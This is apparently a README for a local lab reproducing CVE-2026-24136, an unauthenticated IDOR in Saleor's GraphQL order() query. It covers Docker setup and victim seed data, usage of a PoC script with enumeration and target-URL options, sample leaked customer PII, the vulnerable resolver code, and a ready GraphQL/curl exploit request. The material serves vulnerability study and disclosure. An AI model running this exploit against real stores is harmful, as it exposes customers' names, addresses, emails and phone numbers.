
CVE-2026-24136 | Laboratoire d'exploitation de la vulnérabilité IDOR sur Saleor GraphQL - la requête order() ne vérifie pas l'authentification, exposant toutes les PII (e-mail, adresse, téléphone) des clients. Comprend un environnement Docker, des scripts de données de seed et un PoC. CVSS 4.0 : 8.7 ÉLEVÉ.
| Champ | Détail |
|---|---|
| CVE ID | CVE-2026-24136 |
| Type de vulnérabilité | IDOR - Contournement d'autorisation via une clé contrôlée par l'utilisateur (CWE-639) |
| Logiciel | Plateforme e-commerce Saleor |
| Versions affectées | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| Version corrigée | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 HIGH |
| Impact | Un acteur non authentifié peut lire les PII (nom, adresse, téléphone, email) de n'importe quelle commande |
| Authentification requise ? | Non |
Saleor fournit une API GraphQL pour gérer les commandes e-commerce. La requête order(id: $id) permet de récupérer les détails d'une commande via son ID global. Dans les versions affectées, cette requête ne vérifie pas si l'appelant est autorisé à voir cette commande.
N'importe qui, même un utilisateur complètement anonyme sans compte, peut appeler cette requête et recevoir toutes les PII du client : email, nom complet, adresse de livraison, numéro de téléphone, historique des connexions.
cve-2026-24136-lab/
├── docker-compose.yml # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # Startup wrapper: patch wsgi bug + gunicorn
├── seed_data.py # Tạo victim accounts + orders có PII
└── poc_cve_2026_24136.py # PoC khai thác
pip install requests# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Chạy setup tự động
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. Khởi động containers
docker compose up -d
# 2. Chờ API sẵn sàng (~60-90 giây)
# Kiểm tra: curl http://localhost:8000/health/
# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb
# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py
Endpoints après le démarrage :
| Service | URL |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| Admin | [email protected] / admin |
cd scripts
# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain
# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json
# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# Enumerate sequential (chỉ hoạt động với Saleor < 3.x dùng integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# Đổi target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# Lưu kết quả ra JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
Saleor utilise l'identification globale d'objet ("Global Object Identification") selon la spécification Relay GraphQL. Chaque objet est identifié par un ID global de la forme :
base64("<TypeName>:<internal_id>")
Avec les commandes dans Saleor 3.x :
# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
Remarque : Saleor 2.x utilise des IDs séquentiels entiers (
Order:1,Order:2, ...) donc plus faciles à énumérer.
Saleor 3.x est passé à UUID, donc l'attaquant doit obtenir l'UUID par d'autres moyens (email de confirmation de commande, fuite d'URL, etc.).
Fichier : saleor/graphql/order/resolvers.py
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
"""Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session
Fichier : saleor/graphql/order/schema.py
# Query definition, không khai báo permissions
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# Không có @permission_required, không có guard nào
Requête envoyée sans en-tête Authorization :
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# Gửi bằng curl, không cần token
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# Response (không cần auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}